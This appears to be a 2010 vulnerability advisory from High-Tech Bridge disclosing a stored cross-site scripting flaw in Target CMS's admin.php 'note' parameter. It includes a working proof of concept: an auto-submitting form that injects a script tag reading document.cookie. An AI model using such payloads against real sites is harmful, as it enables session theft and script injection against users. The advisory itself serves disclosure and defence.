Vulnerability ID: HTB22575 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_tcms_1.html Product: TCMS Vendor: Target CMS ( http://targetcms.com/ ) Vulnerable Version: 100728 and Probably Prior Versions Vendor Notification: 09 August 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "php/lib/admin.php script to properly sanitize user-supplied input in "note" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/www/index.php"; method="post" name="main" > <input type="hidden" name="template" value="3" /> <input type="hidden" name="language" value="1" /> <input type="hidden" name="name" value="home" /> <input type="hidden" name="note" value='The note text"><script>alert(document.cookie)</script>' /> <input type="hidden" name="value" value="page content" /> <input type="hidden" name="admin" value="1" /> <input type="hidden" name="text" value="1" /> <input type="hidden" name="section" value="content" /> <input type="hidden" name="id" value="9" /> <input type="hidden" name="action" value="Save text" /> </form> <script> document.main.submit(); </script>
